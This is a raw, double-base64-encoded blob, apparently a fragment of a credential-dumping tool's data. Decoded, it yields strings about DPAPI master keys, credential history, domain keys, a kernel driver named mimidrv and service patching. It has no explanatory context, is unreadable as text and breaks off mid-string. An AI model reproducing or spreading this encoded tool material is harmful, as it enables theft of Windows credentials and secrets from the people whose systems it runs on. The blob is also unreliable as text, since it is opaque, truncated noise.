EFHNEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBSlFBcUFITUFJQUFnQUhBQVlnQlRBR0VBYkFCMEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCSUFHMEFZUUJqQUVzQVpRQjVBRXdBWlFCdUFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCd0FHSUFTQUJ0QUdFQVl3QnJBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJoQUd3QVp3QklBR0VBY3dCb0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQWdBQ2dBSlFCekFDa0FDZ0FBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUVFQWJBQm5BRWdBWVFCekFHZ0FUQUJsQUc0QUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBU0FCdEFHRUFZd0F5QUVzQVpRQjVBRXdBWlFCdUFDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFsQUNvQWN3QWdBQ0FBY0FCaUFFZ0FiUUJoQUdNQWF3QXlBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUVRQVlRQjBBR0VBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBSlFBcUFITUFJQUFnQUhBQVlnQkVBR0VBZEFCaEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCVEFHa0Fad0J1QUV3QVpRQnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCd0FHSUFVd0JwQUdjQWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUNnQUtBQUFBQUFBbEFDb0Fjd0FxQUNvQVRRQkJBRk1BVkFCRkFGSUFTd0JGQUZrQUtnQXFBQW9BQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRllBWlFCeUFITUFhUUJ2QUc0QUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQWN3QmhBR3dBZEFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQnlBRzhBZFFCdUFHUUFjd0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBQUFDVUFLZ0J6QUNBQUlBQmhBR3dBWndCSUFHRUFjd0JvQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQ0FBS0FBbEFITUFLUUFLQUFBQUpRQXFBSE1BSUFBZ0FHRUFiQUJuQUVNQWNnQjVBSEFBZEFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFJQUFvQUNVQWN3QXBBQW9BQUFBbEFDb0Fjd0FnQUNBQWNBQmlBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBSlFBcUFITUFLZ0FxQUVNQVVnQkZBRVFBU0FCSkFGTUFWQUFnQUVrQVRnQkdBRThBS2dBcUFBb0FBQUFsQUNvQWN3QWdBQ0FBWndCMUFHa0FaQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFBQUFKUUFxQUhNQUtnQXFBRVFBVHdCTkFFRUFTUUJPQUVzQVJRQlpBQ29BS2dBS0FBQUFKUUFxQUhNQUlBQWdBR1FBZHdCVEFHVUFZd0J5QUdVQWRBQk1BR1VBYmdBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCQkFHTUFZd0JsQUhNQWN3QmpBR2dBWlFCakFHc0FUQUJsQUc0QUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFKUUFxQUhNQUlBQWdBR2NBZFFCcEFHUUFUUUJoQUhNQWRBQmxBSElBU3dCbEFIa0FJQUFnQUNBQUlBQTZBQ0FBQUFBQUFDVUFLZ0J6QUNBQUlBQndBR0lBVXdCbEFHTUFjZ0JsQUhRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFBbEFDb0Fjd0FnQUNBQWNBQmlBRUVBWXdCakFHVUFjd0J6QUdNQWFBQmxBR01BYXdBZ0FDQUFJQUFnQURvQUlBQUFBQUFBSlFBcUFITUFLZ0FxQUUwQVFRQlRBRlFBUlFCU0FFc0FSUUJaQUZNQUtnQXFBQW9BQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBY3dCNkFFY0FkUUJwQUdRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFld0FsQUM0QU13QTJBSE1BZlFBS0FBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FFMEFZUUJ6QUhRQVpRQnlBRXNBWlFCNUFFd0FaUUJ1QUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVFnQmhBR01BYXdCMUFIQUFTd0JsQUhrQVRBQmxBRzRBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCREFISUFaUUJrQUVnQWFRQnpBSFFBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUVRQWJ3QnRBR0VBYVFCdUFFc0FaUUI1QUV3QVpRQnVBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBSlFBcUFITUFXd0J0QUdFQWN3QjBBR1VBY2dCckFHVUFlUUJkQUFvQUFBQWxBQ29BY3dCYkFHSUFZUUJqQUdzQWRRQndBR3NBWlFCNUFGMEFDZ0FBQUNVQUtnQnpBRnNBWXdCeUFHVUFaQUJvQUdrQWN3QjBBRjBBQ2dBQUFBQUFKUUFxQUhNQVd3QmtBRzhBYlFCaEFHa0FiZ0JyQUdVQWVRQmRBQW9BQUFBbEFDb0Fjd0FxQUNvQVF3QlNBRVVBUkFCSUFFa0FVd0JVQUNvQUtnQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRllBWlFCeUFITUFhUUJ2QUc0QUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFDVUFLZ0J6QUNBQUlBQm5BSFVBYVFCa0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBVGdCbEFIZ0FkQUJNQUdVQWJnQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFKUUFxQUhNQUtnQXFBRU1BVWdCRkFFUUFTQUJKQUZNQVZBQWdBRVVBVGdCVUFGSUFXUUFxQUNvQUNnQUFBQUFBSlFBcUFITUFJQUFnQUdRQWR3QlVBSGtBY0FCbEFDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBR0VBYkFCbkFFZ0FZUUJ6QUdnQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFDQUFLQUFsQUhNQUtRQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQWNnQnZBSFVBYmdCa0FITUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFDVUFLZ0J6QUNBQUlBQnpBR2tBWkFCTUFHVUFiZ0FnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCaEFHd0Fad0JEQUhJQWVRQndBSFFBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFnQUNnQUpRQnpBQ2tBQ2dBQUFBQUFKUUFxQUhNQUlBQWdBSE1BYUFCaEFERUFUQUJsQUc0QUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFsQUNvQWN3QWdBQ0FBYlFCa0FEUUFUQUJsQUc0QUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUNVQUtnQnpBQ0FBSUFCVEFHRUFiQUIwQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUNVQUtnQnpBQ0FBSUFCVEFHa0FaQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUNVQUtnQnpBQ0FBSUFCd0FGTUFaUUJqQUhJQVpRQjBBQ0FBSUFBZ0FEb0FJQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWRRQnVBSEFBY2dCdkFIUUFaUUJqQUhRQVh3QmlBR3dBYndCaUFDQUFPd0FnQUVNQWNnQjVBSEFBZEFCRUFHVUFZd0J5QUhrQWNBQjBBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0JpQUd3QWJ3QmlBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QmpBR3dBYndCekFHVUFYd0JvQUhBQWNnQnZBSFlBWHdCa0FHVUFiQUJsQUhRQVpRQmZBR01BYndCdUFIUUFZUUJwQUc0QVpRQnlBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUhVQWJnQndBSElBYndCMEFHVUFZd0IwQUY4QVlnQnNBRzhBWWdBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBYUFCckFHVUFlUUJmQUhNQVpRQnpBSE1BYVFCdkFHNEFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBZFFCdUFIQUFjZ0J2QUhRQVpRQmpBSFFBWHdCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFCZkFIY0FhUUIwQUdnQVh3QnpBR2dBWVFCRUFHVUFjZ0JwQUhZQVpRQmtBR3NBWlFCNUFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCakFHd0Fid0J6QUdVQVh3Qm9BSEFBY2dCdkFIWUFYd0JrQUdVQWJBQmxBSFFBWlFCZkFHTUFid0J1QUhRQVlRQnBBRzRBWlFCeUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBWHdCM0FHa0FkQUJvQUY4QWN3Qm9BR0VBUkFCbEFISUFhUUIyQUdVQVpBQnJBR1VBZVFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBYUFCckFHVUFlUUJmQUhNQVpRQnpBSE1BYVFCdkFHNEFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBZFFCdUFIQUFjZ0J2QUhRQVpRQmpBSFFBWHdCa0FHOEFiUUJoQUdrQWJnQnJBR1VBZVFCZkFIY0FhUUIwQUdnQVh3QnJBR1VBZVFBZ0FEc0FJQUJEQUhJQWVRQndBSFFBUkFCbEFHTUFjZ0I1QUhBQWRBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0IxQUc0QWNBQnlBRzhBZEFCbEFHTUFkQUJmQUdRQWJ3QnRBR0VBYVFCdUFHc0FaUUI1QUY4QWR3QnBBSFFBYUFCZkFHc0FaUUI1QUNBQU93QWdBRU1BY2dCNUFIQUFkQUJUQUdVQWRBQkxBR1VBZVFCUUFHRUFjZ0JoQUcwQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0JrQUc4QWJRQmhBR2tBYmdCckFHVUFlUUJmQUhjQWFRQjBBR2dBWHdCckFHVUFlUUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFZd0JzQUc4QWN3QmxBRjhBYUFCd0FISUFid0IyQUY4QVpBQmxBR3dBWlFCMEFHVUFYd0JqQUc4QWJnQjBBR0VBYVFCdUFHVUFjZ0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBWXdCeUFHVUFaQUJvQUdrQWN3QjBBRjhBWlFCdUFIUUFjZ0I1QUY4QWR3QnBBSFFBYUFCZkFITUFhQUJoQUVRQVpRQnlBR2tBZGdCbEFHUUFhd0JsQUhrQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmpBSElBZVFCd0FIUUFid0JmQUdNQWJBQnZBSE1BWlFCZkFHZ0FjQUJ5QUc4QWRnQmZBR1FBWlFCc0FHVUFkQUJsQUY4QVl3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFIVUFiZ0J3QUhJQWJ3QjBBR1VBWXdCMEFGOEFZd0J5QUdVQVpBQm9BR2tBY3dCMEFGOEFaUUJ1QUhRQWNnQjVBRjhBZHdCcEFIUUFhQUJmQUhNQWFBQmhBRVFBWlFCeUFHa0FkZ0JsQUdRQWF3QmxBSGtBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR2dBYXdCbEFIa0FYd0J6QUdVQWN3QnpBR2tBYndCdUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJ2QUc0QVh3QjFBRzRBY0FCeUFHOEFkQUJsQUdNQWRBQUFBQUFBYndCdUFGOEFjQUJ5QUc4QWRBQmxBR01BZEFBQUFBQUFjZ0JsQUhNQVpRQnlBSFlBWlFCa0FBQUFBQUJ6QUhRQWNnQnZBRzRBWndBQUFBQUFjZ0JsQUhFQWRRQnBBSElBWlFCZkFITUFkQUJ5QUc4QWJnQm5BQUFBQUFBbEFITUFJQUE3QUNBQUFBQjFBR2tBWHdCbUFHOEFjZ0JpQUdrQVpBQmtBR1VBYmdBQUFBQUFkUUJ1QUdzQWJnQnZBSGNBYmdBQUFHd0Fid0JqQUdFQWJBQmZBRzBBWVFCakFHZ0FhUUJ1QUdVQUFBQmpBSElBWlFCa0FGOEFjd0I1QUc0QVl3QUFBR0VBZFFCa0FHa0FkQUFBQUc0QWJ3QmZBSElBWlFCakFHOEFkZ0JsQUhJQWVRQUFBSFlBWlFCeUFHa0FaZ0I1QUY4QWNBQnlBRzhBZEFCbEFHTUFkQUJwQUc4QWJnQUFBR01BY2dCbEFHUUFYd0J5QUdVQVp3QmxBRzRBWlFCeUFHRUFkQUJsQUFBQWMzbHpkR1Z0QUFBQUFBQUFDZ0E5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQUNnQkNBR0VBY3dCbEFEWUFOQUFnQUc4QVpnQWdBR1lBYVFCc0FHVUFJQUE2QUNBQUpRQnpBQW9BUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFBb0FBQUFsQUdNQUFBQUFBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QnBBRzhBWXdCMEFHd0FYd0JvQUdFQWJnQmtBR3dBWlFBZ0FEc0FJQUJFQUdVQWRnQnBBR01BWlFCSkFHOEFRd0J2QUc0QWRBQnlBRzhBYkFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBZ0FEb0FJQUF3QUhnQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QnBBRzhBWXdCMEFHd0FJQUE3QUNBQVF3QnlBR1VBWVFCMEFHVUFSZ0JwQUd3QVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCY0FGd0FMZ0JjQUcwQWFRQnRBR2tBWkFCeUFIWUFBQUFsQUNvQWN3QXFBQ29BU3dCRkFGa0FJQUFvQUdNQVlRQndBR2tBS1FBcUFDb0FDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVZRQnVBR2tBY1FCMUFHVUFUZ0JoQUcwQVpRQk1BR1VBYmdBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCUUFIVUFZZ0JzQUdrQVl3QkxBR1VBZVFCTUFHVUFiZ0FnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUZBQWNnQnBBSFlBWVFCMEFHVUFTd0JsQUhrQVRBQmxBRzRBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBU0FCaEFITUFhQUJNQUdVQWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FHUUFkd0JGQUhnQWNBQnZBSElBZEFCR0FHd0FZUUJuQUV3QVpRQnVBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQUFBQ1VBS2dCekFDQUFJQUJ3QUZVQWJnQnBBSEVBZFFCbEFFNEFZUUJ0QUdVQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBSlFCVEFBb0FBQUFsQUNvQWN3QWdBQ0FBY0FCSUFHRUFjd0JvQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUNVQUtnQnpBQ0FBSUFCd0FGQUFkUUJpQUd3QWFRQmpBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUpRQXFBSE1BSUFBZ0FIQUFVQUJ5QUdrQWRnQmhBSFFBWlFCTEFHVUFlUUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FLQUFBQUFBQWxBQ29BY3dBZ0FDQUFjQUJGQUhnQWNBQnZBSElBZEFCR0FHd0FZUUJuQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdzQVpRQjVBRjhBWXdCdUFHY0FYd0JqQUhJQVpRQmhBSFFBWlFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHc0FaUUI1QUY4QVl3QnVBR2NBWHdCd0FISUFid0J3QUdVQWNnQjBBR2tBWlFCekFGOEFZd0J5QUdVQVlRQjBBR1VBSUFBb0FIQUFkUUJpQUd3QWFRQmpBQ2tBQ2dBQUFBQUFKUUFxQUhNQUtnQXFBRXNBUlFCWkFDQUFLQUJqQUc0QVp3QXBBQ29BS2dBS0FBQUFKUUFxQUhNQUlBQWdBR1FBZHdCV0FHVUFjZ0J6QUdrQWJ3QnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBVGdCaEFHMEFaUUJNQUdVQWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUpRQXFBSE1BSUFBZ0FIUUFlUUJ3QUdVQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRkFBZFFCaUFHd0FhUUJqQUZBQWNnQnZBSEFBWlFCeUFIUUFhUUJsQUhNQVRBQmxBRzRBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUNVQUtnQnpBQ0FBSUFCa0FIY0FVQUJ5QUdrQWRnQmhBSFFBWlFCUUFISUFid0J3QUdVQWNnQjBBR2tBWlFCekFFd0FaUUJ1QURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBSlFBcUFITUFJQUFnQUdRQWR3QlFBSElBYVFCMkFHRUFkQUJsQUVzQVpRQjVBRXdBWlFCdUFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFsQUNvQWN3QWdBQ0FBZFFCdUFHc0FRUUJ5QUhJQVlRQjVBRnNBTVFBMkFGMEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQWxBQ29BY3dBZ0FDQUFjQUJPQUdFQWJRQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBbEFDNEFLZ0J6QUFvQUFBQWxBQ29BY3dBZ0FDQUFjQUJRQUhVQVlnQnNBR2tBWXdCUUFISUFid0J3QUdVQWNnQjBBR2tBWlFCekFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBbEFDb0Fjd0FnQUNBQWNBQlFBSElBYVFCMkFHRUFkQUJsQUZBQWNnQnZBSEFBWlFCeUFIUUFhUUJsQUhNQUlBQWdBQ0FBSUFBNkFBb0FBQUFsQUNvQWN3QWdBQ0FBY0FCUUFISUFhUUIyQUdFQWRBQmxBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUFvQUFBQWxBQ29BY3dBcUFDb0FTd0JGQUZrQUlBQkRBRTRBUndBZ0FGQUFVZ0JQQUZBQVJRQlNBRlFBV1FBcUFDb0FDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVV3QjBBSElBZFFCakFIUUFUQUJsQUc0QUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUIwQUhrQWNBQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUIxQUc0QWF3QWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVRnQmhBRzBBWlFCTUFHVUFiZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVVBQnlBRzhBY0FCbEFISUFkQUI1QUV3QVpRQnVBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUpRQXFBSE1BSUFBZ0FIQUFUZ0JoQUcwQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFKUUFxQUhNQUlBQWdBSEFBVUFCeUFHOEFjQUJsQUhJQWRBQjVBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBSlFCMUFDQUFaZ0JwQUdVQWJBQmtBQ2dBY3dBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBYmdCbEFIUUFYd0JuQUdVQWRBQkVBRU1BSUFBN0FDQUFSQUJ6QUVjQVpRQjBBRVFBWXdCT0FHRUFiUUJsQURvQUlBQWxBSFVBQ2dBQUFHRUFBQUFpQUNVQWN3QWlBQ0FBY3dCbEFISUFkZ0JwQUdNQVpRQWdBSEFBWVFCMEFHTUFhQUJsQUdRQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQVlRQjBBR01BYUFCZkFHY0FaUUJ1QUdVQWNnQnBBR01BVUFCeUFHOEFZd0JsQUhNQWN3QlBBSElBVXdCbEFISUFkZ0JwQUdNQVpRQkdBSElBYndCdEFFSUFkUUJwQUd3QVpBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSEFBWVFCMEFHTUFhQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3d